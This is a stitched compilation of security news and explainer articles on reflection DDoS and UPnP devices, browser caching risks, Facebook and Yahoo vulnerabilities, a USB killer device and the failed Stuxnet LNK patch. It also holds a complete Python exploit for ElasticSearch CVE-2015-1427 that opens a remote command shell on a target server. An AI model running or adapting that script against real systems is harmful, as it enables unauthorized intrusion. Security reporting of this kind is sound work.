says. Apple iOS 8.2 also fixes a vulnerability in the iCloud keychain function that was the result of several buffer overflows. “Multiple buffer overflows existed in the handling of data during iCloud Keychain recovery. These issues were addressed through improved bounds checking,” Apple said. Source

Denial of service (DOS) attack is an attempt to make a machine or a network resource unavailable to its users. It basically consists of methods to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet, and these attacks are sent by one person or a system. One common method of attack involves saturating the target machine with external requests in a massive amount so that it cannot respond to the valid traffic, or it responds so slowly as to make the user believe it’s essentially unavailable. These attacks generally lead to a server overload. Basically, DOS attacks are implemented by either forcing the targeted system(s) to reset, or by consuming its resources so that it can no longer provide its intended service or by obstructing the communication media between the intended user and the victim so that they can no longer communicate properly. Also, DOS attacks can lead to issues in the network ‘branches’ around the actual computer that is being attacked. Considering an example, the bandwidth of a router between the Internet and a LAN may be consumed by the particular attack; compromising not only the particular computer but also the entire network or other computers on the particular LAN. If the attack is conducted on a large scale, entire regions of Internet connectivity can be compromised without the attacker’s knowledge or intent by incorrectly configured or flimsy network infrastructure equipment. Symptoms Of DOS Attack: Unusually slow network performance (slow while opening files or accessing Websites). Unavailability of any particular Website. Inability to access any Website. A large hike in the number of spam emails received. Unintended disconnection of a wireless or wired Internet connection. Long time denial of access to the Web or any Internet services. Figure 1: Representation of DOS attack REFLECTION DDOS ATTACK A distributed denial-of-service (DDOS) attack also involves sending forged requests of some type to a very large number of computers that will reply to these requests. Using Internet Protocol address spoofing, the source address of the target is set, which means all the replies will go to (and flood) the target. This type of attack is called the ‘REFLECTION DDOS ATTACK’. ICMP Echo Request attacks, also called the ‘SMURF’ attack, can be considered as one form of reflected attack. It works on the principle that as the flooding host(s) sends an Echo Request to the broadcast address of the mis-configured networks, thereby pranking hosts to send Echo Reply packets to the victim. Many systems can be exploited to act as reflectors. DDOS attacks are an older type of attack, but reflection DDOS attacks have recently received a lot of attention right from the March when the anti-spammers Spamhaus attack took place, which was the largest DDOS attack that has taken place to date (at 300Gbps) using the reflection method. As mentioned, it’s a common attack vector, but it’s extremely effective when launched by an attacker with significant resources. In a reflection DDOS attack, the attacker imitates (“spoofs”) the victim’s IP address and sends a request for information via UDP to servers (“reflectors”) known to respond to that type of request. The servers answer the request and send or reflect the response to the victim’s IP address. And hence from the servers’ perspective, the victim has sent the original request. All the data from those servers adds up to significant bandwidth, which is enough to congest the target’s Internet connectivity. With the bandwidth maxed out, “normal” traffic cannot be serviced, and legitimate clients cannot get connected. Any server open to the Internet and running UDP-based services can potentially be used as a reflector. Spoofing is the major technique that’s used in a reflection DDOS attack. It is a method of tricking the reflectors by the attackers into flooding the target. Spoofing is possible because the attackers use the UDP protocol, which is a unidirectional and stateless protocol, as the transport protocol for the requests for the attack. The victim does not require any trace back in order to locate those reflectors. They are actually identified as the source addresses (address of the reflectors) in the flooding packets received by the victim. The operator of the reflectors cannot easily locate the slave that is pumping the reflector, because the traffic that is sent to the reflector does not have the slave’s source address, but instead it has the source address of the victim. In principle, the operator can use trace back techniques such as those discussed above in order to locate the slaves in the network that is flooded. However, note that the individual reflectors send at a much lower rate than the slaves would if they were flooding the network directly. Each slave can scatter its reflector triggers across all or a large subset of the reflectors, with a combinational output being Nr reflectors, Ns slaves, and a flooding rate F coming out of each slave; then each of the reflectors generates a flooding rate of: F’=(NS/ Nt)F So a local mechanism that attempts to automatically detect that a site has a flooding source within it could fail if the mechanism is based on traffic volume. In addition, traceback techniques based on observing large volumes of traffic (ITRACE, probabilistic packet marking; but not SPIE) will fail to locate any particular slave sending to a given reflector. If there are Nr reflectors, then it will take Nr times longer to observe the same amount of traffic at the reflector from a particular slave as it would be if the slave had sent it to the victim directly. And so using reflectors provides significant protection against these forms of traceback, even if there aren’t more reflectors than slaves. Against a low-volume traceback mechanism like SPIE, reflectors do not yield such an advantage; the attacker should instead assign each slave to a small set of reflectors. Thus, the use of traceback by the operator of a single reflector does not reveal the location of multiple slaves. They can also attenuate the volume of traffic sent to them to a certain level and still serve their purpose well and effectively. This latitude on not requiring amplification consequently allows a large number of different network mechanisms to be the reflectors facilitating the attacker’s task of finding a sufficient number of reflectors to launch the attack. Figure 2: Representation of Reflection DDOS attack Common Reflector Servers Used in DDOS Attacks Types of servers that are commonly used in reflection attacks: DNS server – for scanning the Internet for open recursive servers to use as reflectors. SNMP servers – are also good for reflection because hosts and network devices frequently leave SNMP read access open to the Internet. And one single request can result in huge amounts of response data. Video game servers – many older gaming servers respond to any IP that sends certain UDP server-status queries. Then a larger response that contains volumes of information about players and their statistics are received. Attackers use a query type of “ANY” to return most of the data, and they often target zones containing a lot of DNSSEC data, which gives a magnified response. Steps to Mitigate DDOS Attack Make sure to shut down the open recursive DNS servers if open to the Internet as they can be otherwise used as reflectors in an attack. If a source IP is to remain open, then rate limit the queries on a per source IP basis, which could limit the damage a reflecting server could inflict. DNS queries like ‘ANY’ should be forced so that it could be re-transmitted using TCP, which would eliminate the possibility of spoofed ANY still permitting legitimate ANY queries. Install patches on all systems on a regular and defined basis. Make sure to install patches on all systems. Along with that, implement security best practices on hosts and network devices. Ensure to purchase a cloud DDOS mitigation service to address volumetric DDOS attacks. Also have processes and procedures in place to manage reflection attacks. UPNP Devices UPnP is a protocol designed to automatically configure networking equipment without user intervention. UPnP allows Xboxes (video game brand) to tell your firewall to punch a hole through so you can play games. UPnP also allows malware to punch holes in your firewall, making access easier for attackers. A universal plug and play device is ready when it is plugged in. It gets ready to be used once its software is loaded. UPnP has the major quality to learn and communicate with other devices and use their capabilities. UPnP is independent from any programming language and platform. That’s why it is widely usable. Since previously UPnP devices had to know their protocols to communicate, it was impossible to communicate with all the devices. In 1999 UPnP forum developed UPnP, and from then onwards, most devices support UPnP and can communicate over UPnP Protocol. Six steps defining the working of UPNP protocol are: Addressing Discovery Description Control Event notification Presentation It isn’t a good idea to implement something that can disable security features without authentication or the knowledge of the person controlling the device. So the risk of rogue devices/software on the inside that exploits UPnP is more, and hence the danger of UPnP accepting information from outside is even worse. Many routers do not provide an option to disable UPnP, and some others have an option, but it doesn’t help. Vulnerability in UPNP devices Vulnerability in the Universal Plug and Play (UPnP) Internet protocol exposes millions of Internet devices to Distributed Denial of services (DDOs) attacks. Attackers use reflection and amplification DDOS attacks to exploit the Simple Service discovery Protocol (SSD), which is a standard Internet protocol that facilities communication and coordination between many UPnP devices including routers, webcams, Smart TV’s and printers. This protocol is a section of the Universal Plug and Play (UPnP) Protocol standard. SSDP comes enabled on millions of devices in homes and offices. Attackers have been using these protocols to launch DDOS attacks that amplify and reflect network traffic to their targets. Malicious actors are using this new attack vector to perform large-scale DDOS attacks. The count of UPnP devices that would behave as open reflectors is a large number, and many of them are home-based Internet-enabled devices that are difficult to be patched. Action from firmware, application and hardware vendors must occur in order to mitigate and manage this threat. Geographically, Korea has the highest number of vulnerable UPnP devices distribution, followed closely by the countries US, Canada, Argentina and Japan. Researchers explain that the huge number of vulnerable devices, which is approximately 38% of the 11 million UPnP devices, will be a challenge to perform mitigation, patch management, updates and cleanups. The massive number of vulnerable devices also gives hackers more chances for attacks. The massive amount of vulnerable UPnP devices may give a chance to the development of a new tool that can take advantage of the SSDP and SOAP protocol, which could lead to the development of UPnP device based reflection attack tools and botnets being constructed in DDOS attacks. DDOS attacks on UPNP devices A malicious hackers starts by identifying vulnerable UPnP enabled devices on the network. This is achieved by sending a SOAP (Simple Object Access Principle) request, which is called M-SEARCH, to UPnP devices. The M-SEARCH then identifies the vulnerable devices and then the devices respond to the SOAP requests with the HTTP location of its device XML description file. The hacker then sends malicious requests to the identified vulnerable devices after spoofing the address of the targets and causing a reflected and amplified response. Then the volume of traffic that’s created depends on many factors, which include the size of the device description file, the operating system and also the UUID (Universally Unique Identifier). The Simple Object Access Protocol (SOAP) is used to deliver control messages to UPnP devices and pass information back from the device identified to be vulnerable. Attackers have discovered that SOAP requests can be crafted so as to elicit a response that does the function of reflecting and amplifying the packet, which then could be redirected towards a target. By employing a great number of devices in the activity, attackers create large quantities of attack traffic that can be aimed at selected targets. The two techniques used to scan and find the vulnerability of the UPnP devices are: ssdpscanner.py for scanning and ssdpattack.py to detect if the system is already attacked. Steps to mitigate the vulnerability on UPNP devices Unfortunately there are no sure ways to mitigate DDOS attacks on UPnP devices due to the large number of vulnerable UPnP devices and due to their very wide geographical distribution. However, Akamai security experts recommend two ways: Blocking source port 1990 traffic to your host to prevent bandwidth loads to services that do not use UPnP service, such as web hosting. System hardening as way of minimizing potential threats, which involves: 2.1) blocking all wide-area Network (WAN) – based UPnP requests to client devices, 2.2) disabling UPnP service on devices where it is not a basic requirement and proactively patching and updating UPnP devices that are open to the Internet. Conclusion The rise in reflection and amplification of DDOS that involves UPnP devices has become a serious threat to the Internet infrastructure. It is clearly evident that DDOS attack can be an attack that happens once the system is well identified, developed and incorporated with new resources. The coming future of Internet users could be not very smooth and efficient if these types of attacks continue to develop and refine their techniques and tools. There should be more action from the firmware, application and hardware vendors to mitigate and manage these types of threats. References DDoS: How to Stop Reflection DDoS Attacks | DDoSAttacks.biz Introduction https://cert.litnet.lt/en/docs/ntp-distributed-reflection-dos-attacks denial of service - how does a reflection attack work? - Information Security Stack Exchange http://www.erdincaydin.net/Text/BigBang.html http://securitygladiators.com/2014/10/17/upnp-devices-risk-ddos-attacks/ Source

Quite often we see Web pages that include images and other files loading faster than we expect. If you are wondering how that happens, Web caching could be one of the ways. The following steps will help you to easily understand the concept of caching: Clear your Internet explorer browser history and then visit any site (say Bine ai venit pe Facebook - conecteaz?-te, înscrie-te sau afl? mai multe). A cache is basically a collection of data that duplicates original values stored elsewhere on a computer. A cache is a memory that is stored very close to the CPU to allow faster access. Apart from Web caching, there are different types of caching as explained below: CPU cache: a small area of fast memory used by the central processing unit Disk buffer: the small amount of buffer memory present on a hard drive Page cache: the cache of disk pages kept by the operating systems, stored in unused main memory Web cache: a mechanism for the temporary storage of Web objects like Web pages, images, etc. to improve the performance DNS cache: a server in the domain name system which stores queried results for a period of time P2P caching: a technique used to reduce bandwidth costs for content on peer-to-peer networks Database caching: a mechanism used to cache database content in multi-tier applications In the below sections we shall try to understand Web caching in detail and how the major browsers deal with Web caching. Web CachingWeb caching is a mechanism for the temporary storage of Web objects, such as HTML pages, images or other files requested from the Internet. The storage of these Web objects can either be on the local machine or on some server on the Web. After an original request for data has been successfully fulfilled, and that data has been stored in the cache, further requests for those files is fulfilled by retrieving information from the cache rather than the original location. The goal of caching is to eliminate the need to send requests in many cases, and to eliminate the need to send full responses in many other cases. The former reduces the number of network round-trips required for many operations, and the latter reduces network bandwidth-requirements. There are two types of Web caches: Browser cache: A browser cache is part of all popular Web browsers. The browser keeps a local copy of all recently displayed pages on the user’s machine, and when the user returns to one of these pages, the local copy is reused. Proxy cache: By contrast, a proxy cache is a shared network device that can undertake Web transactions on behalf of a client, and, like the browser, the proxy cache stores the content. Internet browsers use caching to store HTML Web pages by storing a copy of visited pages and then using that copy to render when you re-visit that page. Let us now look at the caching mechanism in some of the commonly used Web browsers. Internet Explorer In a user’s machine, Internet Explorer stores the cached Web objects at the following location or within the folders present in it: C:\Users\[username]\AppData\Local\Microsoft\Windows\Temporary Internet Files Another way to reach to the above location is to navigate through the following in the Internet Explorer browser: Tools –> Internet Options –> General –> Browsing history –> Settings –> View Files Google Chrome One can find the cached Web objects for Chrome at the following location: C:\Users\[username]\AppData\Local\Google\Chrome\User Data Mozilla Firefox Mozilla Firefox caches Web objects at the following location: C:\Users\[username]\AppData\Local\Mozilla\Firefox\Profiles\[profilename]\cache A shortcut from the browser to view the cache in Firefox is: Open the browser and type “about:cache” in the address bar and hit enter. This lists the memory cache and also the disk cache where the Web objects are stored. Security Risk of Caching caching is good for performance and convenience, but there is a flip side: “security”. Web caching is a typical example of “security = 1/convenience” — that is, there is a security cost for user convenience: exposing your Web application to potential security threats. For example, since cache information can contain sensitive data, it has to be protected from unauthorized access. In the case of Web applications, you would need to avoid caching confidential information on the user’s browser in order to prevent accessing the data outside the control of the Web application. Web caching of login pages also exposes the application to specific threats, such as stealing user credentials with a Web proxy. Remediation Application developers may prevent caching of web objects by explicitly enforcing few cache control headers with directives like no-cache and no-store, etc. Apart from the cache control headers, caching can also be avoided by using META tags. Preventing caching using http cache control headers Cache control response headers can be set as follows: For HTTP/1.1: Cache-Control: no-cache For HTTP/1.0: Pragma: no-cache Pragma and cache control are the implementation of the same concept but in HTTP/1.0 and HTTP/1.1 respectively. The “no-cache” directive instructs the browser or a proxy or a gateway to submit the request to the origin server for validation before responding with a cached copy each time. On the other hand, the “no-store” directive instructs the browser or the Web proxy not to store anything on the cache. Now, these directives will work differently for different browsers. For example, Internet Explorer does not respect the “no-cache” directive. This means that even if the “no-cache” directive is used, the page still gets cached. Therefore, in order to be safe with all the browsers and versions of HTTP, one has to enforce “no-store” and “expires” directives apart from the “no-cache” directive. The best practice to avoid caching is to set the cache control header as follows Cache Control: no-cache, no-store Pragma: no-cache Expires: -1 “Expires” is one of the important cache control directives, as it gives scope for a developer to decide when a cached Web object has to become stale. Upon setting this directive to “-1?, one can ensure that the browser always serves the user with a fresh response. This is because the value “-1? indicates that the cached Web object has already expired. Preventing caching using HTML meta tags HTML meta tags can also be used to prevent caching of Web pages. The meta tags for preventing cache can be set as follows- <META HTTP-EQUIV=”CACHE-CONTROL” CONTENT=”NO-CACHE”> <META HTTP-EQUIV=”PRAGMA” CONTENT=”NO-CACHE”> <META HTTP-EQUIV=”CACHE-CONTROL” CONTENT=”NO-STORE”> Apart from the using the above remediations, for a few Web objects it is suggested to explicitly ask the user to delete the cache. Such Web objects may include files with extensions like .pdf, .txt, .xls, .docx, etc. Let us look at how to delete the cache in various browsers. Internet Explorer Tools -> Internet Options -> General -> Browsing history -> Delete Chrome Menu option -> More tools -> Clear browsing data -> Check all the boxes -> Clear browsing data Firefox Menu -> History -> Clear recent history -> Check the options -> Clear now A shortcut to delete the history in all the browsers is: Ctrl + Shift + Delete Concluding this topic, we can say that although caching is a very advantageous solution to reduce the bandwidth and the load on the server, it is equally dangerous in leaking highly sensitive information in a few cases. So, it is advised to properly analyze the Web objects in your application which need to be cached and which should not be cached in order to maintain the application security and also to improve the performance. References 1. https://www.owasp.org/index.php?title=Testing_for_Browser_cache_weakness_(OTG-AUTHN-006)&setlang=en 2. https://www.ietf.org/rfc/rfc2616.txt Source

"Signup or Login with Facebook" ?? You might think twice before doing that next time. A security researcher has discovered a critical flaw that allows hackers take over Facebook accounts on websites that leverage 'Login with Facebook' feature. The vulnerability doesn't grant hackers access to your actual Facebook password, but it does allow them to access your accounts using Facebook application developed by third-party websites such as Bit.ly, Mashable, Vimeo, About.me, Stumbleupon, Angel.co and possibly many more. FLAW EXPLOITS THREE CSRFs PROTECTION Egor Homakov, a researcher with pentesting company Sakurity, made the social network giant aware of the bug a year ago, but the company refused to fix the vulnerability because doing so would have ruined compatibility of Facebook with a vast number of websites over the Internet. The critical flaw abuses the lack of CSRF (Cross-Site Request Forgery) protection for three different processes — Facebook log in Facebook log out Third-party account connection The first two issues "can be fixed by Facebook," Homakov said, but have not done yet. However, the third one needs to be fixed by the website owners those who have integrate "Login with Facebook" feature into their websites. TOOL TO HACK FACEBOOK ACCOUNTS Therefore, blaming Facebook for dismal security in 'Login with Facebook' feature, the researcher publicly released a tool, dubbed RECONNECT, that exploits the bug and lets hackers to generate URLs that can be used to hijack accounts on third-party websites that use 'Login with Facebook' button. "Go blackhats, don’t be shy!" Homakov wrote on his Twitter, allegedly encouraging hackers and cyber criminals to take benefit from his ready to use tool. Homakov also published a blog post which gives hackers a step-by-step process for setting up rogue Facebook accounts that victims are redirected to when they tricked into clicking on malicious URLs provided by the attackers. RECONNECT Facebook hacking tool can generate malicious URLs to hijack Facebook accounts on third-party website including Booking.com, Bit.ly, About.me, Stumbleupon, Angel.co, Mashable and Vimeo. However, any website that supports 'Login with Facebook' can be hacked by manually inserting its link into the tool that generates Facebook login requests on behalf of its users. HOW TO PROTECT YOURSELF ? One could realize the dangerous consequences of RECONNECT Facebook hacking tool by calculating how many number of websites over Internet use that blue color ' f ' button of Facebook login. And once a hacker makes a way to get into you account, they could access your private information and use them to hack into your other online accounts. So, in order to prevent your accounts from malicious hackers, Do Not click on any suspicious URLs provided to you via online messages, emails or social media accounts. And always be careful while surfing over the Internet. FACEBOOK RESPONDS TO THE ISSUE Facebook says it has been aware of the issue for some time now and that third-party sites can protect their users by utilizing Facebook's best practices when using the Facebook sign-in feature. The company also added that they have also made various changes in order to help prevent login CSRF and are evaluating others while "aiming to preserve necessary functionality for a large number of sites that rely upon Facebook Login." Source

Can Hackers turn a remote computer into a bomb and explode it to kill someone, just like they do in hacker movies? Wait, wait! Before answering that, Let me tell you an interesting story about Killer USB drive: A man walking in the subway stole a USB flash drive from the outer pocket of someone else's bag. The pendrive had "128" written on it. After coming home, he inserted the pendrive into his laptop and instead discovering any useful data, he burnt half of his laptop down. The man then took out the USB pendrive, replaced the text "128" with "129" and put it in the outer pocket of his bag… Amen! I’m sure, you would really not imagine yourself being the 130th victim of this Killer perdrive, neither I. This above story was told to a Russian researcher, nicknamed Dark Purple, who found the concept very interesting and developed his own computer-frying USB Killer pendrive. He is working with electronic manufacturing company from where he ordered some circuit boards from China for creating his own USB killer stick. At last, he successfully developed a well functioning USB killer pendrive which is able to effectively destroy sensitive components of a computer when plugged-in. It is not possible for hardware to prevent all damage to physical systems in some scenarios. It may be possible for an attacker to exploit SCADA vulnerabilities and remove safety controls used by power plants or put it into an unstable state. Stuxnet worm is one of the real example of such cyber attacks, which was designed to destroy centrifuges at the Nuclear facility and all this started from a USB drive. Also in 2014, a security firm demonstrated an attack on Apple’s Mac computer by overriding temperature controls, which can actually set the machine on fire. So if we say that a computer could be converted into a bomb, then of course it’s true, a hacker can probably make your computer explode as well. Therefore, next time when you find an unknown USB flash drive, just beware before inserting it into your laptop. Because this time it will not fire up your important files or data stored on your laptop like what malwares do, instead it will fire up your Laptop. Source

#!/bin/python2 # coding: utf-8 # Author: Darren Martyn, Xiphos Research Ltd. # Version: 20150309.1 # Licence: WTFPL - wtfpl.net import json import requests import sys import readline readline.parse_and_bind('tab: complete') readline.parse_and_bind('set editing-mode vi') __version__ = "20150309.1" def banner(): print """\x1b[1;32m ?????? ??? ??? ?????? ????????? ??? ?????? ?????? ??? ?? ?????? ??? ??? ?? ? ???? ?????? ??? ? ? ??? ?????????? ?? ??? ? ???? ????? ? ???? ???? ???? ???? ??? ??? ? ???? ? ???? ????????? ? ? ???? ???????????? ???? ???? ??? ? ???? ????????? ? ???? ???? ? ???????? ???? ? ?????? ??? ??? ? ???? ???? ????????????????? ????????????? ???? ? ????? ????? ????????????????????????????????????????? ?? ?? ?? ??? ??? ????? ??? ? ? ? ?? ?? ? ?? ? ?? ??? ? ? ? ??????? ?? ?? ??? ?? ??? ? ? ? ?? ? ? ? ? ?? ?? ?? ? ? ? ? ? ? ? ? ?? ? ? ? ??? ? ? ? ?? ? ? ?? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ? ? ? ? ?? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(__version__) def execute_command(target, command): payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command) try: url = "http://%s:9200/_search?pretty" %(target) r = requests.post(url=url, data=payload) except Exception, e: sys.exit("Exception Hit"+str(e)) values = json.loads(r.text) fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0] print fuckingjson.strip() def exploit(target): print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something" while True: cmd = raw_input("~$ ") if cmd == "exit": sys.exit("{!} Shell exiting!") else: execute_command(target=target, command=cmd) def main(args): banner() if len(args) != 2: sys.exit("Use: %s target" %(args[0])) exploit(target=args[1]) if __name__ == "__main__": main(args=sys.argv) Source

DDoS attacks have been a persistent problem for the the better part of 20 years, and as ISPs and enterprises have adjusted their defenses, attackers have adapted their tactics. One of the more effective tools in the attackers’ arsenal now is the use of botnets to generate massive numbers of DNS queries for a target site, a technique that can be quite difficult to defend against. CloudFlare, one of the larger DNS providers and a performance and security specialist, is introducing a new service called Virtual DNS that is designed to help protect against these new attacks and speed up organizations’ infrastructures. The service works by having organizations point their name servers to CloudFlare’s infrastructure, which provides security protection and acceleration. Companies don’t need to move their DNS records; those stay on the companies’ own name servers. Matthew Prince, CEO and co-founder of CloudFlare, said in an interview that the volume and frequency of the recent DNS DDoS attacks has put traditional DDoS defenses such as filtering at a severe disadvantage. “We see attacks with as much as two hundred or three hundred million DNS requests per second virtually every day,” he said. “We can do some creative filtering, but but if it’s a botnet with hundreds of thousands of nodes and they’re sending traffic through upstream DNS resolvers that are effectively laundering the traffic for them, it’s tough. “With Virtual DNS, we act as a giant DNS proxy scattered around the world. That makes it significantly faster and also acts as protection for customers’ name servers.” The way that Virtual DNS is set up allows it to stop attack traffic at the edge of CloudFlare’s network, so it never touches the customer’s name servers or network infrastructure. CloudFlare’s system has nearly four terabits of capacity, Prince said, and while that’s clearly an asset, it’s also forced attackers to change what they’re doing. “We’ve found that because DDoS mitigation is so cheap and easy, attackers have adjusted,” he said. “This new level of sophistication is a challenge.” Prince added that the new Virtual DNS service also can help speed the adoption of DNSSEC by allowing CloudFlare to sign the DNS records that it’s issuing. “We have to secure this infrastructure more completely,” he said. Source

Yahoo has fixed a handful of vulnerabilities that could have given an attacker free reign over all of its user-run eCommerce websites and caused multiple headaches for small business owners. One bug could have allowed a hacker to change item prices on a whim and given them access to sensitive information provided to web stores powered by Yahoo. A separate bug could have given attackers complete control of any site hosted by the company. Mark Litchfield, a bug bounty hunter who occasionally contracts to companies, dug up the bugs while testing all of the company’s applications. While Yahoo patched the bugs two weeks ago, Litchfield recently dumped proof of concepts for the exploits on Bug Bounty HQ, a repository he set up last month for fellow hunters to share their findings. The first bug he found could have given an attacker full access to Yahoo’s eCommerce platform, Yahoo Small Business, a portal that allows small business owners to create web stores through Yahoo. The service offers businesses hosting, domain registration and gives users looking to sell merchandise several shipping and payment options. Litchfield claims the bug could allow him to fully administer any Yahoo store and gain access to customers’ personally identifiable information, including names, email addresses, telephone numbers and so on. By exploiting the vulnerability, an attacker could also rig a web store to let them shop for free, or at a deep discount. “We could also shop for free by either changing the prices, or creating our own discount code,” Litchfield said via email while walking through the attack, “Also, we could place an order, then once received, go and refund our money.” Each request sent to Yahoo’s servers from its eCommerce sites involves a decoded base64 string located in a parameter called ysbparams, according to Litchfield. Before the issue was fixed, to compromise a store, a hacker would merely need to know a business’ “bizid.” In his proof of concept Litchfield ascertains the “bizid” of a victim’s site, a site selling used cars, simply by searching for it in the site’s HTML source. From there, by creating a rule in the pentesting application Burp Suite, Litchfield found he could replace ysbparams with a targeted version including that “bizid” and gain access to the store’s backend. Once in, an attacker could manage products the site has for sale–in this case cars and lots of them–tweak prices, and carry out a handful of other attacks that Litchfield omits in his PoC on purpose for privacy reasons. “I am thinking a $10 Bentley would be a good deal,” Litchfield jokes in his PoC while inside the car sellers’ backend. While it’s unlikely that tricking a seller into giving that deep of a discount of one of their products would ever work, as Litchfield points out, the real point here is that the bug allows an attacker to change prices. For the second part of the exploit, Litchfield uses Burp and edits requests to take advantage of a bug that allows the unauthorized editing of Yahoo-hosted stores through the app. In the proof of concept for this vulnerability, Litchfield just adds an ellipsis to text on a website selling electronic cigarettes but claims the hack could allow for far more than that. “We essentially at this point are the webmaster for this store and capable of adding, editing, or deleting any and all content as we choose,” he acknowledges. Lastly, a separate vulnerability that Litchfield found that allows the full, unauthorized access of Yahoo-hosted sites stems from a bug in Yahoo’s Small Business portal. Via a site’s Web Hosting Control Panel an attacker can edit files and create directories on sites hosted on Yahoo. In the PoC for this bug, Litchfield shows how he’s able to assign himself access to another site’s root directory, in this case, a website belonging to the tiny town of Rozel, Kansas, by editing a request within Burp. Litchfield, who discovered similar bugs in PayPal’s Manager infrastructure that could have led to account takeover last year, found the Yahoo bugs as he was working his way through the company’s applications. “Given the size of Yahoo, its age online and constant acquisitions it certainly presents a very large attack surface area,” Litchfield said, adding that in his experience the company has been remarkably speedy at addressing the vulnerabilities, especially those that are critical. Chris Rohlf, the head of Yahoo’s pentesting team, announced late last year that similar to Google’s Project Zero, the company would disclose any vulnerabilities that its team digs up within 90 days of discovery. Since switching to HackerOne at the beginning of 2014, the company has addressed nearly 2,000 externally reported bugs and seen its bounty program pay out over $1 million to researchers. “At Yahoo, we’re committed to the security of our users,” a Yahoo spokesperson said when reached Wednesday. “As soon as this vulnerability was brought to our attention through our Bug Bounty program, we took steps to implement a fix to protect our users. We’re proud of the growth of our Bug Bounty program, which now has more than 600 contributors and has paid out more than $1 million in bounties to security researchers.” Litchfield, who was awarded $24,000 for the aforementioned Small Business issues, is one of its more prolific bug reporters. “In time, I think bug bounties will become the norm for companies,” Litchfield speculated, “The ROI is 100%.” Litchfield set up Bug Bounty HQ last month as a neutral, central repository for researchers to post public vulnerabilities and insists the site is still young but claims he’s seen posts on the site steadily increase daily. “BBHQ is a community for bounty hunters to talk with each other and hopefully learn new skills from other members,” Litchfield said via email Monday, “I find reading other peoples’ vulnerabilities very interesting as they are real ‘business’ issues and a lot can be learned from them.” Source

UPDATE–A security researcher has identified a pair of security issues in Facebook, one of which can be used to to upload an arbitrary file to the site, and the other of which can allow an attacker to gain control of a victim’s machine under some limited circumstances with user interaction. The more serious of the vulnerabilities, which were identified by researcher David Sopas of WebSegura, is a reflected file download flaw that an attacker can use to plant a malicious file on a victim’s machine that looks like it is coming from a trusted Facebook domain. Sopas said he found two separate RFD issues on Facebook, both of which are still open right now. An attacker would need quite a bit of help from the user in order to execute an attack, though. “The first one was present on Graph Facebook API and could be replicated under Internet Explorer 9 just by sending a link,” Sopas said in an advisory. The attack also works on the current versions of Chrome and Opera, he said. “To the user the entire process looks like a file is offered for download by Facebook trusted domain and it would not raise any suspicious. A malicious user could gain total control over a victims computer and launch multiple attacks.” In an email, Sopas said that Facebook’s security team replied to his advisory on Wednesday, saying that they will be back in touch with him soon about the report. “They didn’t said directly that they’re not going to fix them. Facebook security team told me that they couldn’t control all the ways browsers may allow content downloads or the different app formats that a computer may allow. Just as we speak, I just received the following Facebook message thanking me for reporting this security issues to them and that they’ll contact me again for further bugs or updates. So it seems it will be fixed someday,” Sopas said by email. RFD attacks are relatively new, and were detailed by Oren Hafif, a researcher at Trustwave’s Spider Labs last year. “As long as RFD is out there, users should be extremely careful when downloading and executing files from the web. The download link might look perfecty fine and include a popular, trusted domain and use a secure connection, but users still need to be wary,” Hafif wrote in a post explaining the technique. A Facebook spokesman said that the report from Sopas didn’t meet the company’s criteria for earning a bug bounty. “Our bug bounty program excludes reports that have no practical security implications, as well as social engineering techniques that require significant interaction from the victim because technical changes are usually not the best way to address these threats,” the spokesman said. The other issue that Sopas discovered allows an attacker to upload an arbitrary file to Facebook by using a special tool on the site. “The first security issue I found was that it’s possible to upload a file with any kind of extension to Facebook server via Ads/Tools/Text_Overlay tool. This online tool checks the upload image for too many text on a image to user on their ads,” Sopas said in his advisory. “ “A user can upload executable files or just use Facebook servers as file repository. In my proof-of-concept I uploaded a batch file without any restriction and I can access to it anytime anywhere as long as I’m logged in on my account.” Sopas said that users need to be careful to inspect the links they’re clicking on, even ones that are from trusted domains. “Users must be aware of this type of vulnerability and be careful where links come from. Even if they come from a trusted source it might be an attack. Check the link structure. I believe it’s a matter of time for Facebook to fix this,” he said. This story was updated on March 11 to add the comment from Facebook. Source

In early January 2015, researcher Michael Heerklotz approached the Zero Day Initiative with details of a vulnerability in the Microsoft Windows operating system. We track this issue as ZDI-15-086. Unless otherwise noted, the technical details in this blog post are based on his detailed research. To understand the significance of his report, we need to go back to the last decade. In mid-2009, Stuxnet was released against the Iranian nuclear program. Attributed to the United States and Israel, Stuxnet used multiple zero-day attacks against Windows to attack the Iranian centrifuges. It was discovered in June 2010 by VirusBlokAda and reported to Microsoft. In February 2015, Kaspersky Labs' Global Research & Analysis Team released findings that attacks included in Stuxnet were in use as early as 2008. The initial infection vector was a USB drive that took advantage of a vulnerability in the Windows operating system that allowed simply browsing to a directory to run arbitrary code. Windows allowed for .LNK files, which define shortcuts to other files or directories, to use custom icons from .CPL (Control Panel) files. The problem is that in Windows, icons are loaded from modules (either executables or dynamic link-libraries). In fact, .CPL files are actually DLLs. Because an attacker could define which executable module would be loaded, an attacker could use the .LNK file to execute arbitrary code inside of the Windows shell and do anything the current user could. To prevent this attack, Microsoft put in an explicit whitelist check with MS10-046, released in early August 2010. Once that patch was applied, in theory only approved .CPL files should have been able to be used to load non-standard icons for links. The patch failed. And for more than four years, all Windows systems have been vulnerable to exactly the same attack that Stuxnet used for initial deployment. To see how it failed, we need to examine the fix itself. To show the vulnerability in action, we made a brief video: The definition of the icon that will be used is extracted in a function called CControlPanelFolder::GetUiObjectOf() in Shell32.dll. We can see what changed by comparing the RTM version of Shell32.dll with the latest vulnerable version, using DarunGrim. Figure 1 Diffing the function We can see there are only two sections of code (highlighted above in red) that have changed in this function since release. The first changed block looks like this: Figure 2 The first changed block in the function (click to expand in new window) We can see that in the event the definition calls for a custom icon (that is, has a requested icon ID of 0), we check against the registered list. If we put this snippet of assembly into C++, it looks something like this: … if ( (iconID == 0) && !this->_IsRegisteredCPLApplet(&wszModuleFullPath) ) { iconID = -1; } … If the DLL isn’t on the whitelist, you cannot have the icon ID be 0, and so no custom load step. So, problem solved? Clearly not, or we wouldn’t be talking about this now. Let’s look at the other snippet of code that changed, and see if it gives us a clue. Figure 3 The second changed block in the function Now that’s interesting. If the module path specified contains a comma in it, we’re going to error out with an invalid argument. It is possible that this is unrelated to 